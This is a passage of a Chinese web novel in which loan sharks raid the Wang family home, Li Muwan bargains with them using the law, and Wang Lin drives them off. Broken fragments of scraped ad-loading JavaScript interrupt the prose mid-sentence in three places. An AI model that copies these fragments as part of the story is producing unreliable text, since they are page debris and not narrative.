她接过信,上面的字迹确实是哥哥的无疑,声音明显听得出哽咽,“是我哥哥的字迹。”李慕婉潸然泪下,旁若无人的哭起来,不断呢喃着:“是我哥哥的字迹。” 沙哑的声音含了很多委屈,拿着信封的手却止不住颤,王家人走过来安抚道。 王天水说:“这是好事啊,等了半年,可算有了回音。” 她点了点头,开心的看着众人,王林站在父母身侧,李慕婉看见自己时,他朝她点了点头。 “阿兄,”李慕婉泪还没止,带着泪情不自禁走向他,扑进怀里,就像眼前的人就是她兄长,“阿兄,我找到我哥哥了……” 王林背脊僵直,不知该作何反应,瞧见三人齐齐看过来,他那半抬的手臂稍推开了她,却状若无事说:“你哥哥吉人自有天相,他会来找你的。” 周英素见状解释说:“婉儿这些日子把铁柱当作哥哥看,一定是高兴过头了。” 她是知道的,王浩家中有意相看李慕婉,这事王浩的娘同她提过,可她暂时收留着人,到底也不是她家中长辈,做不得主。 “我今日在镇上码头看见许多行商回来,好些商船上挂的燕州标记,就想着去铺子看看,没成想当真有你的信,这就立马带回来了。” 李慕婉松开王林,手背擦了余泪,“谢谢你,王浩。” “快看看信中,都说了什么?”王林强装镇定说。 李慕婉这才反应过来,还是看信要紧,只见她专注默读信中内容,时而哭时而笑的,让人跟着紧张。 “婉儿,你兄长说什么?”王浩问。 “我哥说,他处理完燕州的事就来清平镇寻我,快的话两个月,最迟入冬前也会赶过来,”李慕婉把信封贴在心口,“如阿兄所说,因燕州之乱,哥哥他一直没收到先前寄的信,也多番派人去京城寻我音讯无果。” “他得知是阿兄收留了婉儿,还说要重谢王叔周婶这段日子对婉儿的照顾。” “既如此,”王浩替她高兴,“你便好好等你兄长来王家村便好。” 李慕婉难以平息心中之喜,还仿若那骤然而来的喜悦是大梦一场,她又反反复复读了几遍,说话方式,字迹,落笔习惯都是兄长无疑,悬着的心终于安定下来。 夜里周英素做了好几个菜,也算庆贺她等到兄长音信。 22.债务 下榻前,李慕婉收好那封信,信中李奇庆说已经在燕州与先前父亲留下的商路谈好生意,接下来的日子他需留在燕州安妥事宜,让她不必挂怀。 李慕婉把柜里的那支人参盒拿出来细看,好在哥哥没有这支人参也打开了商路,必定是费了不少功夫。 按照李奇庆信中所言,若他在燕州安顿好,两个月后能来王家村接她,那么她在这所剩时间也不多了。 竹林中几声鸦雀嘶叫入耳,尽管已经在这住了半年,她还是未安全适应夜间竹林里传来的声音,她转过身把被褥拉高盖过头顶,似要将那些杂音隔绝在外。 自从收到信后,心中的重担也放下了,李慕婉这一夜都睡得极好,她如往常一样按部就班,该上山时也会跟着村里人上山,回到竹林小院大多时候除了晾晒药草,就是帮周英素料理家务,夜间时辰用来看书。 周英素在县城那两个月,腿疾发作过几次,李慕婉知道后又替她做了几次熏艾,王林除去温书时间,也会到堂屋陪伴二老,逢李慕婉未上山时,她还会从医书上学来的手法,替王天水和周英素按摩,王林也日渐习惯这一幕。 只是周英素近几日貌似心藏了事,王林察觉母亲异样,暗自关心打探,周英素瞧李慕婉不在,才敢与他说。 “你堂婶想给王浩寻个媳妇。”周英素手中缠着线说,“你猜看中了谁?” 王林若有似无的问道:“谁?” “婉儿啊。”周英素加重声音。 王天水雕刻的动作微顿,“婉儿虽说住在我们王家,可到底不是咱们闺女,况且她兄长也要来接她的,婚姻大事自要家中长辈应允才可,她与你说这个做甚?” “我爹说得在理。”王林点头道。 “我也是这个意思,”周英素说,“可他堂婶要我问问婉儿的意思,说王浩心里属意得很,我这不是一时半会儿不知怎么跟婉儿开口嘛。” “婉儿跟你走得近,与你也有话多,不如铁柱你探探她的意思?”周英素试探着王林的意愿。 王林眸光微沉,“娘自己问她就是了,她不是扭捏的性子,有什么直言就是。” 他说得在理,周英素便没强求,夜里吃过晚饭之后,两人在厨房收拾,李慕婉心思缜密,只觉周英素一副欲言又止的模样,她便关切问:“周婶,您可是有话要与婉儿说?” 周英素难为情,儿子说得对,她不是扭捏的性子,若是掩掩藏藏反倒是让人笑话,“婉儿啊,你跟花影和王浩他们玩得来,你觉着浩这个孩子如何?” 李慕婉手里水瓢盛了水,思索道:“王浩?挺好的呀,为人赤诚坦率,又乐于助人,周婶怎么这么问?” “铁柱他堂婶,想给浩子找个媳妇儿,村里相看了几家,都不得浩子心意,问过才知……”周英素端详她片刻,见她神色如常,“浩子对你有意,婉儿呢?” “嗯?”李慕婉嗔笑,“周婶,莫要拿我寻开心了,王浩就是热心些,对其他姑娘也这般啊,婉儿没觉得有何不同,即便有,许是一时欣喜,也很正常的。” “你知道他属意于你?”周英素诧异。 “他没与我说过,我不知,”李慕婉镇定自若,好像并不在意此事,“若是他当真有意,我们日日一同上山来着,怎会不与我说?” 她口中说是不知,可也能感受得到王浩对自己非常人一般的殷勤,在京城也常遇过,可他既然未明说,李慕婉便只当不知道,万一会错了意也不好。 “那婉儿呢?你对浩子可还满意?”周英素见她坦率,也直白道。 李慕婉轻笑一声,“周婶,王浩是很值得交的朋友,他与花影在婉儿这是一样的,除此之外再无别他。若是堂婶再问您,您便说我们会自己处理好的。” 周英素听明白了,她有主意,如此也好,算是给了堂婶一个交代。 “好,婉儿别忙了,快去跟你阿兄看书去吧。” “嗯,我收拾完这些就过去。”李慕婉擦净后回房中拿了医书,踩着轻快的步子敲了敲房门便自顾进去了。 王林想着白日母亲与自己说的话,还不知要不要问,李慕婉倒是自己提了,“阿兄,方才周婶跟我说,堂婶要给王浩相看媳妇儿,阿兄可知道这事?” 他没否认,而是点头表示知道。 “你同他不是整日待在一处,他与你无话不谈,有无这事你自己不知吗?”王林抬眼瞧她。李慕婉只觉这眼神有些让人琢磨不透,她解释说:“王浩没与我说,适才周婶同我说我才知道的。” “那你的意思是?”王林侧头带着审视的意味。 “什么?”王浩喜欢她的事,她不知道周英素与他说了。 “娘说王浩属意你,问你的意思,倘若两厢有意……” “没有,”李慕婉急切解释,“我与周婶说了,我同王浩只是朋友,这事我自己能处理。” 王林若有似无点了点头。 王浩若当真有意,耽误的就是他的终身大事,李慕婉也不会坐以待毙。 是日上山时,她特意寻了王浩开诚布公与他谈,王浩本还带有期许,可李慕婉说得清楚,王浩也并非是痴缠之人,只是心意被她这么直白拆穿,自己竟然还比不上她这个女子那么坦坦荡荡,干脆利落,倒是叫人惭愧。 做不成有情人,那就做朋友,王浩心大,这点与花影倒是相似,若说当做无事发生也全然不可能。 人总会在少年时见着美好的人而初开情意,只是王浩起初便能察觉正视自己这份情,是以他把李慕婉视作黑夜里的月光,欣赏珍视,想要探知,当他明白这清冷月色无法为自己所照时,他也不会再执着追逐。 *** 王天水从木雕铺子又接了一批单子,生意是从外县来的,王林晨时便替王天水去木雕铺拿契单。李慕婉这几日没上山,待在小院规整药材,酉时她与二老在前院休憩,王天水难得空了段时日,便在院里帮着周英素递递丝线,李慕婉蹲在檐下筛着药草。 听着二人闲谈,王天水抽了口烟斗,沉重说:“等铁柱拿回这批木雕单子,雕刻完,就能把先前欠的债务先还上一笔。” “孩他爹,”周英素朝他示意低声些,看了看李慕婉那头,“这事别让铁柱知道,免得他心里过意不去。” 王天水无奈摇摇头。 海棠树院墙一阵涌重的脚步穿透过来,听声约莫有五六个人,还都是成年男子的脚步,王家竹林小院僻静,往日来的人不多,也不会如此声势浩大。 还未探清时,院门已被粗暴踢开,竹编的院门倒地惊起一阵灰尘,院里的三人面对突如其来的造访大惊失色。 檐下的李慕婉在震惊中强保冷静,虽不知发生何事,却本能跑到二老跟前,把人 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 护在身后。 领头的是个中年壮汉,颧骨还有一道旧刀疤,看着凶神恶煞。让李慕婉想起天麓山那窝劫匪,只觉来者不善,她眼神难得锋利:“青天白日,你们擅自闯入是做什么?” “呦,屠哥,王家啥时候有个这么标致的小娘子?”领头的正是这位屠哥,张屠是清平镇上放印子钱的,外号刀疤脸! 王天水见状把李慕婉和周英素拉在身后,对此人却很是恭敬,“张屠,欠你们的债我们会还清的。” “还?”张屠拍拍手,“你们当初说铁柱要上京赶考,借了五十两银子,待他考上功名入秋了再还债务,钱呢?” “孩他娘,去,把咱们攒的那些银子拿来。” 周英素入了堂屋去拿事先备好的银子,本就是要还的,只是还差了十两银,想着这批木雕完成后凑齐了再一块还。 张屠掂量两下手里的银子,“四十两?” “剩下十两再宽限些时日。”王天水躬身道。 “十两?”张屠笑了笑,自顾寻了位置坐下,“王天水,莫不是忘了,你借的可是印子钱,之前是五十两,今日还得要一百五十两,过些时日?过多久?这数额可又不一样了。” “你们这分明是明抢,”李慕婉挺直腰杆,听了大概,大抵也清楚了来龙去脉,“我王叔借了五十两,按照赵国户部给各钱庄的利息,按钱庄最高利息还,半年连本带利顶多六十五两,你竟然要一百五十两,岂不是狮子大开口?” 张屠饶有兴致打量她,周英素下意识将她护在怀里。 “这就是铁柱带回来的那位吧?”张屠说,“我知道,铁柱这次没考上,若不是你们当初求着我张屠借这银子,要给铁柱上京赶考,我张屠可不会借你,如今与事先约定的时日已经过了月余,我张屠才上门要债,也算仁至义尽了吧?” “若是仁至义尽,怎么要归还一百五十两?还是说故意拖延时间,拔高你所谓的利息,好让我王叔多拿银子还你?” 张屠瞥了她一眼,“你是铁柱媳妇儿?” “此事不关她的事,张屠,”王天水要拉开他,“一百五十两,我如今当真拿不出来,这四十两你先收着,剩下的,我入冬前那批木雕完工,再把银子补上,可好?” “王天水,别给脸不要脸,我屠哥说了一百五十两,少一文都不成,”身后小弟示威,“若今日拿不出来,你这院子就别要了。” 王天水被推倒地,李慕婉和周英素赶忙去搀扶,“王叔。” “你要拆了我这院子,我也拿不出来那么多给你,老头子就这一条老命,我当初只借五十两,你张屠没说要还一百五十两,如今却要我拿出那么多。” 几人听了笑得猖狂放肆,“我张屠放的可是印子钱,谁放印子钱给你按钱庄的利息算?” 王家的情形,李慕婉自然知晓不可能一下拿出那么多银子。 “王叔,周婶,咱们进去谈吧,这些人拿不到钱今日是不会罢休的,”李慕婉说,“一百五十两也不是不能给。” “婉儿。”周英素拉着她。 “我王叔腰伤了,周婶,您扶他进去先上药,婉儿来谈。”李慕婉推着二人进堂屋。 张屠恐吓道:“别妄想耍花招,要是不还,拿王林一支胳膊就算抵债了。” “休要动我阿兄。”李慕婉回头倪着他。 23.抵债 “那得看你们的银子到不到位了。”张屠搭在椅上的手随意折了枝李慕婉院里种的花,拿在鼻尖闻了闻。 李慕婉将二人送进堂屋,自己却未进去,悄无声息拉上门,从外头上了锁。二老慌忙转身扒着门,从门缝里喊着人。 “婉儿,你做什么?把门打开。”周英素扒着门缝,“这是王家的债,不应牵累你的,好孩子,把门打开。” “周婶,王叔,你们别担心,婉儿能处理。”李慕婉安抚后转回身面对讨债的众人。 “别费劲了,若拿不出银子,这扇门我也能给你踹了。”张屠起身俯视着她,李慕婉并未退却,反倒是很镇定。 “早就听闻民间有放印子钱的不少,我王叔借五十两,你们要还一百五十两,按照印子钱的利息其实不算高。”李慕婉说。 “哼,”张屠轻笑,见她比适才识趣不少,愿意与她多说两句,“看来你倒是懂得一些,怎么这钱你能还上?” “能还,”李慕婉浅浅一笑,比着手算,“按照印子钱的利息,五十两半年少说也要还一千两了,确实算得上仁至义尽,这样吧,连本带利,我给你们二百两,便做一笔勾销,如何?” 张屠弟兄闻言大笑,“小娘子能拿出二百两?” “我说能拿自是能拿,前提是你们要拿出当初我王叔借银的画押契帖,不若别说这二百两,五十两我也是不会拿的。” “臭丫头,敬酒不吃吃罚酒,屠哥,别跟她废话,要不然就砸了吧。” 张屠摆手示意,从怀里拿出一张泛黄的纸,“契帖嘛,自然是有。” 李慕婉接过来,上面确实是有王天水的字还有画押,只是细看,其中条款关于利息说得并不算清楚,要他怎么扯都有理,这种契帖,非要辩即便拿到公堂上也不一定能找回理。 “是我王叔借的钱没错,张大哥,你们那放的印子钱,是什么银子?官府所制还是私铸的?”李慕婉漫不经心道。 “你什么意思?”张屠警惕道。 “要是私铸的,我若把这二百两还了,怕以后官府找你麻烦时,牵连我王叔一家,落个包庇和纵容同谋的罪名那可如何是好?”李慕婉不疾不徐说,“我阿兄还要考功名,断断是不能在官府有这些案卷的。” “哼。”张屠双手插腰,轻嗤一声,没成想她并不好对付,他那些放出去的钱,有一部分是镇上四大家族孙氏族长孙凌武联合他人私铸钱币谋利的。 此等案子在京城大理寺审过的不少,李慕婉在百松书院时,先生也会举案在课上教学,是以知道一些。 “不想还钱就别扯那么多。”张屠不想与她周旋,“待会动起手来,姑娘娇娇柔柔的可要躲远些。” “难不成当真是私铸的?”李慕婉说,“赵国律法,无故入人室宅舍,笞四十。主人登时杀者,勿论。我家中老弱妇孺,几位大哥身强体健,我等自是无法反抗,但倘若尔等打家砸舍,我也没有置之不理的道理。” “且不论那银钱是私铸还是官银,今日尔等登堂入室伤人,已是触犯律法,若我一纸状纸递入县衙,就是不知会不会查出点别的?”李慕婉正色道。 “屠哥,这臭丫头是蹬鼻子上脸,若我说还是砸了吧。” “尔敢?”李慕婉见势拦在堂屋前。 张屠一把推开她,那力量把李慕婉推到几丈外,相比之下娇弱的身躯撞上梅枝,长出的枝岔划了她一边脸,细长的一道红光渗出。 “你以为扯那几句文绉绉的什么律法就能唬住老子?我本不想动粗,奈何你太不识相。”张屠随手抄起一根木棍,往那院里晾晒的一些菜干还有草药重重砸去,竹筛瞬间裂成两半,“弟兄们,院里的东西都给我砸了,一样别留。” 李慕婉撑地而起,双手还是发麻无力,脚步都艰难站稳,适才那一推太突然,加上力道过重,她头还有些昏昏的,站起后方向还不太能辨认,只是踉跄往堂屋方向去。王天水和周英素从门缝里急死了,催促李慕婉把门打开。 院里那些人打砸不停,花草践踏不成样,药草被甩得到处是,眼见前院砸得不成样,他们将目标转到西厢房,李慕婉以身抵挡,气势不弱:“休要进我阿兄的房间。” “你阿兄?可是王林?”张屠粗糙的手掌捏过李慕婉细腕,看见李慕婉那动人艳丽的模样,霎时色从中来,露出一股邪笑,“今日本没想能顺利拿到我要的银两,若王林在,此刻卸的就是他一只手,还不上拿别的抵债也成,不如就你吧,这模样卖去春楼可不止一百五十两了。” “你松手。”李慕婉挣扎着,恶狠狠瞪着他。 “王天水,银子不用还了,我拿这女子就当抵债了,如何?”张屠放肆地朝堂屋门缝里扬声。 “此事是我王家的债,与她无关,银子我会还的……”王天水面露痛苦之色。 周英素急得泣不成声,李慕婉手腕痛感加重,透着一股厌恶之色,张屠弟兄们讥笑不断。 “你要拿谁抵债?”一阵森冷又覆有强悍的气息压过小院,未等几人见人,一个虚影从几人眼前闪过,打在张屠手背,李慕婉只觉刹那间紧攥手腕的力消散,只留下刺骨锥心的痛,还有一圈明显的红痕。 李慕婉原本痛苦的五官扬起一丝喜悦,这声音她再熟悉不过,“是阿兄……” 一道身影缓缓从院墙隐现,长身玉立,如青松翠柏,那双深邃的眸子仿若盖了一层寒冰。 张屠看清来人,“王林?” 他不知王林身怀武艺,只道他是一介书生,定然柔弱如风,所以才有适才那句要卸他一只手的狂妄之言。 王林眼神里带了一股说不尽的杀意,李慕婉仿若看见那日天麓山他持剑杀穿劫匪的气势。让张屠等人不寒而栗,只是他仗着人多,也不知他深藏不露,仍是嚣张道:“你爹欠的银子可是为了供你赶考,既然还不上,拿她抵债不正好?” 说着张屠欲要再次上前擒住李慕婉,李慕婉顺势后退,王林见状飞速越过几人,就在张屠近在咫尺擒下李慕婉时,王林捏过他手腕,往回用力一掰,张屠明显感受到一股痛意直击脑门。 “我们家欠的银子自然会还,那尔等欠的呢?”王林冷冷道,闪过寒芒,“欺我爹娘,辱我家人,砸我宅舍,拿什么还?” 张屠痛得几经说不出话,“若,若非你爹不还银两,我又怎会,怎会……” “我王叔只借了你五十两,你便要一百五十两,这与劫匪有何分别。”李慕婉被王林庇护在身后,整个身躯挡的严实,张屠看不见她,只能听得声音。 身后几人见状欲要上前,王林见势另一只手卸下背篓,就李慕婉护在身后,她声音气息不稳,应是受了惊吓的缘故,“阿兄小心。” “要不你们还是一起上吧。” 堂屋的王天水和周英素忙喊道:“铁柱,算了吧,别跟他们对着干……” “爹,娘……”王林望着堂屋担忧的二老,满是愧疚与自责。 “阿兄,王叔周婶无事,你别担心。”李慕婉安抚道。 “退后,进屋子里去。”王林近乎是命令的口吻,可却极其柔声。李慕婉思虑须臾照做,躲入西厢房里。 王林长腿一扫,一支木棍落入手心,“一百五十两没有,若要卸王某一只手,那便来。”
'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 说着张屠几个兄弟蜂拥而上,王林纵身一跃,腾空而起,长腿抬到半空,朝其中一人下颚重重下力,那人陡然摔到梅枝下的竹几上,案几碎裂,连同摆放的花筒滚落,花草散了一地,把本就凌乱的院落又添上几笔。 待他稳稳落地后,手中木棍飞速转了几圈,耍的熟练,木棍出去时将靠近的两人打出院落,就在这显山露水里,张屠摸清王林的武力,方才的嚣张气焰浇灭了半。 “等,等一下……”见木棍再次飞向自己时,张屠急促喊道,王林并未收手,不是不能收,而是他不想收,偏要他还上那笔债。 只听得他右臂断裂的声音,方才便是这只手抓的人,还扬言要卸他一条胳膊,他就算连本带利还他了。 张屠痛苦屈膝跪地,左手捂着断裂的右臂,额间汗珠汇成水流,滴落在干燥的泥地里。 “这一棍,我便当你还清今日辱我家人的债,至于我们欠的,一百五十两?”王林手中还转着木棍,一副刚刚只是试手的作态。 院里倒了一片,哀嚎声断断续续,堂屋里的人紧紧抓着门把手,偏就出不来,李慕婉从外头锁死了。 西厢房探出她半个身子:“阿兄,按照钱庄利息,咱们只要还清六十五两便可,王叔适才已经给过四十两。” 还有二十五两,王林侧对张屠,转着手腕,一副威胁的样子,却又平静得很,说:“六十五两,还得清吗?” 张屠想也没想连连点头,“还,还得清,十两,十两就够了。” 王林自己去写信,讲学赚的积蓄拢共就十两,那是他给自己来年上京赶考攒的银子,如此也能替爹娘分担一二,不知爹娘为了他还在外头受了这些苦。 “成,结清后一笔勾销,往后若是敢再上门找我爹娘,我王林断不会放过尔等。” 李慕婉出了房门,拉过王林手腕,提醒道:“阿兄,王叔借银子画押的契帖还在他们手里。” 王林眼神冷戾,“契帖呢?” 张屠只能用没断的那只手探进怀里摸索,掏出一张泛着褶皱的纸,颤颤巍巍递过去,王林接过细看一遍。 李慕婉趁着间隙从东房里拿了些东西,只见她手里帕子摊开,白花花的银子看着有几十两,那都是她用采的药,按照医书上的丹方制成的丹药,拿去镇子上换的钱,比单独卖的草药能赚多出几番。 “这里是三十两,我王叔没有白借你们银子的道理,按照钱庄最高利息给你算,剩余五两银子,是给你们买药的钱。”她又从袖袋里拿出几瓶药丸就当给他们疗伤了。 张屠哪还能说什么,连忙要接,李慕婉却收回手,没立刻给,“我要你们立个字据,白纸黑字,阐明是你们主动清算债务,一笔勾销。往后再无任何关系,也不得以任何缘由再向王家施难。” “今日你们私闯宅舍伤人之过,我们也不追究。倘若你们心怀怨恨,伺机报复,我便只能将这张字据交由官府,你们难逃其咎。” 她字字珠玑,条理清晰,就连向来谨慎的王林都不得暗自感叹,心底想说的都被她说完了,他拿不出三十两,李慕婉替王家出了,张屠收了钱,还保了命,自是不敢说什么。 眼前这二人谁都不像好惹的,他催债十几年,什么恶茬没遇过,如此刚烈的还是第一次。 照李慕婉所说,赵国律法中无故入人室宅舍,笞四十。主人登时杀者,勿论。他们入室为先,王林杀人在后,自是不用受罚,眼看他几人也不是王林对手,识时务者为俊杰,他拿了银子该是庆幸才对。 张屠手断了握不住笔,字据是王林写的,他只管画押,拿了钱片刻不敢久留。 24.养伤 几人走后,李慕婉还心有余悸,王林解了堂屋的锁,安抚着抱着二老,“爹,娘,无事了,孩儿回来了。” 李慕婉跟在身后,发乱了贴着面颊,周英素和王天水查看二人有无受伤,李慕婉将手臂擦伤藏在宽袖里,连忙说着无事,也不让看。 面颊那道刮痕血块凝聚,她顾及王天水的伤势,“扶王叔进去坐好,我拿些药来。” 李慕婉拿了药替王天水看了伤,又让王林替他擦过后才退了出去,只是那倩影依在门外,听着里边王家人的说话声。 王天水拍着腿满是愧疚与自责,“是爹没有能力,若非欠了族中的债务,早年积攒的银钱都拿去还债务了。所以才去外边借了印子钱,爹不想耽搁你的前途啊,铁柱,你也别怪自己,无论你做什么,爹娘都支持你……” “爹,儿知道,儿从未怪过爹娘,是铁柱不孝,辜负了你们。”王林也不好受,看着爹娘被人入舍凄凌,索要债务,他只怪自己没能一举考上功名,好让父母过上好日子,再无需整日操劳。 周英素抱着王林哭,王林只能安抚着情绪,“无事了,娘,那些人不会再来找麻烦,今日是儿不在,才让你们受怕了。” 李慕婉情绪低落,面对几个凶神恶煞的壮汉,她本也是害怕的,却见二老年迈于心不忍,偏就壮着胆子护人。 原来这钱是王天水为王林上京赶考借的,若是考上了,银子便就还了,王父王母也无需顶着债务,远赴县城做工,给人做木雕。 究其原因,还是因着自己,堂屋内的哭声渐渐消散,周英素说:“若非婉儿极力相护,拖延时间,那些人怕不是真要动手,她定然也害怕的,铁柱,你去看看她,别让她吓着了。” 王林扶爹娘入了寝屋,掩上正堂的门,院落是残败的景象,李慕婉蹲身在草地里,默默收拾着,一株一株的绿植被踩踏不成样,连同那一排海棠树枝都断了许多,更别说那些花草。 断裂成灰的竹几,那些晾晒的药草混在杂乱中,王林从身后只见她擦拭着面颊,不知道是在擦泪还是汗,李慕婉几近把头埋入膝盖里,连身后的脚步声都浑然不觉。 裙摆落了几滴泪,她压抑着,却没敢哭出声,捡回的药草夹了些干草,双眸被泪水掩盖,模糊了视线。 她漫无目的收拾着,原先只是愧疚,现在便是心痛,王叔和周婶对自己毫无藏私,王林孝悌忠信,赤子之心,这样好的人家,却要遭受不公,而这些还与自己有关。 今日之事如潮水滚滚,王家的不公让她又联想到父亲身不由己,涉事案件后家道中落。李家当中又何尝不是遭受诸多不公,那些委屈与脆弱她不想带给王家人,便只能独自吞咽。 起伏的肩头,隐约有抽泣的声音,王林想应是哭了,见她护双亲时的决然,与几人周旋,又井然有序的解了后顾之忧。 他走到身侧,蹲身而下,接过她手中的竹筛,温声道:“今日多亏了你在,多谢。” 李慕婉撇过脸,躲着他,不想让他看见这样的自己,状若忙碌要收拾,手却笨拙的捡了一茬又一茬的枯草。 晶莹的泪珠落进枯草里,埋没不见。 “他们吓着你了?”王林这才看见她衣袖里沾染的泥碎,还有擦破的丝线露出来,还记得她脸上也是伤了,“你的伤还好吗?” 李慕婉背着他摇摇头,不说话。 “我看看。”王林转了身,蹲到她跟前,李慕婉抬眸时与他对上视线,王林正好看见她落下的一滴泪,心里不由紧了紧,有些泛酸。 “阿兄。”李慕婉哽咽道,“阿兄对不起……” “该是我对不住你,连累了你。”王林捡过她身前的药草,放入竹筛里,顺势拿走她手里的竹筛放到一旁。 李慕婉拼命摇头,哭道:“在天麓山是我求你相救,是我拉你引了劫匪的注意,不若你大可一走了之,也不会因我途中掉了文书鱼符,是我害怕一人在天麓山再遇不测,拖着阿兄带我出去,都是因为我,阿兄才错失了会试时间……“ 一想到他失去一次会试机会,便让王家陷入困境,频频招来麻烦,心中愧疚不断。 “即便你不唤我,即便不是你落入歹人之手,我王林也不会袖手旁观,天要我有此劫,我便是不出手,下一座山,下一个入京的城池,都会有想不到的困境,这事与你无关的,你莫要多想。” 李慕婉闻言更是要哭,见状比那日在镇口见她时,还要凄厉。他的话语能让她在自责里有了一些安慰,看着身前的人,她猛地将委屈扎入他怀中,双臂抱着他,王林感受到肩头的人轻颤,似在寻一处庇护。 他双臂抬到半空,想要把人揽在手里,迟疑了,李慕婉没有止,反倒是哭得更厉害了。 王林无可奈何,轻轻推开她,见她哭得委实伤心,最终还是抬臂,手背轻轻擦过她双颊,咸涩的泪浸湿了手上缠着的绷带,脸上那道伤痕隔着暗看的并不清晰。 王林望了望堂屋的方向,朝她比了“嘘”的手势,轻声道:“别在这哭,爹娘若是听见,更要担心的。” 李慕婉努力隐忍良久,这才乖乖止了声,肩头却还抽抽不停,她便起身想回房里去调整情绪,腿却蹲麻了,张屠推的那一下,腿撞到案几,眼下才觉痛意。 王林见她不对劲,什么也没说,打横抱起人就进了东厢房,直到李慕婉被放下,她都未反应过来,只觉身子轻飘飘的。 “什么都别想,眼下要事,是好好养伤,”王林在她屋子巡视一周,“可还有伤药?” 李慕婉指着妆台木匣,“木雕小像下的匣子里有金创药粉。” 那小像收到后便一直放在妆台,每日都要擦净,她是容不下半点灰尘落在上边。 王林给她递过去,李慕婉还以为他要替自己上药,自觉把脸凑过去,王林若有似无轻叹口气。 李慕婉见他没动,委屈着,声音还有哭腔:“我看不见,阿兄帮我涂么?” 她往里挪近一些,空出床沿,示意王林坐下,王林没再多想,天色已经暗了,院内起了灯火,东厢房的烛火微晃,脸上那道伤痕,要擦净血块才能上药,王林下手极为轻柔,生怕弄疼她。 李慕婉半眯着眼,似乎药上过之后忍受着刺痛,王林于心不忍,见今日她那般维护自己和家人,“今日还得多谢你,我爹娘才无碍。” 李慕婉微抬眸,对上他柔和的目光,浅浅一笑,赤诚道:“你救我性命,我理应护你爹娘。” 闻言王林有些微愣,一时竟不知说点什么,起初只是出于无奈才收留下她,竹林小院相处这些日子,潜移默化有了羁绊,他指尖转着药罐子,“可还有别的伤?” 李慕婉思忖着,隐瞒道:“没,没了,阿兄去陪陪王叔和周婶吧,婉儿无碍。” 王林抓过她手臂微微抬起,宽袖滑落,露出腕骨,手腕上是被张屠捏过的红痕,他掌心握过的手臂似乎触到隐藏起的伤口,李慕婉不自觉倒吸一口凉气,王林见状便知她是隐瞒了伤情。 几乎命令的口吻:“别动。” 李慕婉下巴抵在膝头上,“只是擦伤,无碍的。” “他对你动手了?”王林声音倏然冰冷,眸光凛冽。 “是争执间不小心撞到树枝划破的,已经不疼了,阿兄,”李慕婉怕他担心,说话时也是笑的,“帮婉儿上药吧。” 她腕骨纤细,白皙细腻之处晕染红晕,倒叫人心疼得很,手臂的上伤上完药。王林没有多留,嘱咐她早些歇息,自个儿去了院中。 院里的杂乱都收拾干净了,那些绿植有些被连根拔起,怕是再无生机,落下的枝岔被扫在一旁。李慕婉远远望过窗外,月影之下,一道颀长身影,模模糊糊忙碌在前院,她听着声入睡,白日经历的惊魂,她知道他在那,便也不那么害怕了。 *** 早秋薄雾,晨阳柔风,竹林苍黄,卯时王林顶着雾气到村东头挑了水,回的时候见小道两边有不少野花开得不错,正好采了几株回去。睡眼惺忪的李慕婉听得窗外轻微的动静,很快又走远了,还以为是周英素在厨房忙碌。 她在床榻上滚了半圈,抻完腰才坐起身,秋日风凉,薄衫抵挡不住寒意。她从衣架上抄了件稍厚的外衫,拿了铜镜查看脸上的伤。 发红之处晕开看着样子还有些严重,这几日她不敢碰水,涂抹了伤药之后才支起窗,正见窗外摆了个花筒,上边插了几枝野菊和彼岸花,红白相间很是好看。 她伸手把花筒捧进来,腕骨受力后轻微的酸软,花筒是新做的,上边的纹路也是新刻的,昨日张屠几人的打砸,把院里那几个常用的花筒也砸碎了,王林夜里收拾完院子后便刻了几个。 李慕婉凑近闻了闻,野菊的味道算不上香,王林的身影从鸡圈走出来,手里捧着装鸡食的木瓢,往日这些活都是周英素做的,念及父母昨日受了惊,王林主动揽过家务。 鸡鸣声荡在小院里,雾气慢慢散开,王林肩头上的衣裳落了晨雾的湿气,就连额前碎发和抹额也打湿了。 李慕婉朝雾气里喊了一声,声音清甜,似将昨日那场不快驱散,“阿兄,早。” 王林抬眸不经意望去,李慕婉手里捧着那筒花,眼睛弯成月亮。笑容混在清晨里,清新而明媚,宛如山涧清泉。王林微颔首,回以一句:“醒了。” 只是那道伤,还是尤为显眼,王林放了木瓢,从木桶里捧了把水净手才缓缓走到她窗台前,目光落在她面颊伤处,“你的伤可有好些了?” 李慕婉碰了碰面颊,“无妨,已经没那么疼了。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” “吃了早饭后,我要去镇子一趟,你要不要去?”王林问。 “阿兄去做什么?”李慕婉撑着妆台,“不会是要找那张屠算账吧?” 王林侧身走到梅枝下,拾起残留的木碎,“我倒是想寻他。” 见李慕婉神色变化,他又解释道:“院里砸了些东西,得要去镇上采买回来。你脸上的伤,去镇子上看看吧,免得落了疤。” “嗯,好。”李慕婉也没推辞,用过饭后,周英素嘱咐他二人去了镇上少与人发生争执,王天水的腰伤用着药酒,周英素早晚给他擦一次,月把时间也能养好。 从镇子上开了伤药,但是祛疤的没有,李慕婉凭借医书记载,采买了几味祛疤药效的药草回来自己研制。在竹林小院养了七日,脸上的伤结痂好了许多,就是淡淡一道疤挂在面容上,按照医书,她自己研制的凝颜膏主祛疤功效,对新生疤痕颇有疗效。 手臂上的伤倒是无大碍,这几日周英素照顾王天水,李慕婉协理操持家务活,王林只有夜里才能温书,白日大多时辰在堂屋掌刀。接回来的那批木雕生意,王天土腰伤不宜久坐,他便替父亲雕刻,有王天土的指导,加之他悟性好,学什么都快,自是不在话下。 李慕婉则在院中捯饬小院花草,王浩和花影听闻王家遭遇,又出不了什么力,王浩便给李慕婉送了些绿植花卉,她这会忙着就更无暇上山了。 重新翻新的院子要好段时间维护才能再长出生机,忙累了,她便跑去堂屋看王林雕刻。他无空看书,李慕婉便从他房里拿了几本常看的书,念给他听。 偶尔也会学着书院时,先生的模样提问,王林专注雕刻,见她深有用意,也不驳她好意,很是配合的答上她所有的问题。 李慕婉是趁着间隙,能让他木雕时不那么烦闷无趣,也可让他通过不同的方式去吸收书上内容,增加记忆,如此也不会荒废时间。 夜里,李慕婉捧了几张药方和一本医书进了他房里,添完茶水后她落了坐便自顾看起书,那些丹方是她新收的,其中两张是清心丹的炼制步骤和所需药材。她对着医书研究,也不知怎的,今日总觉精神不济,脑袋频频下坠。 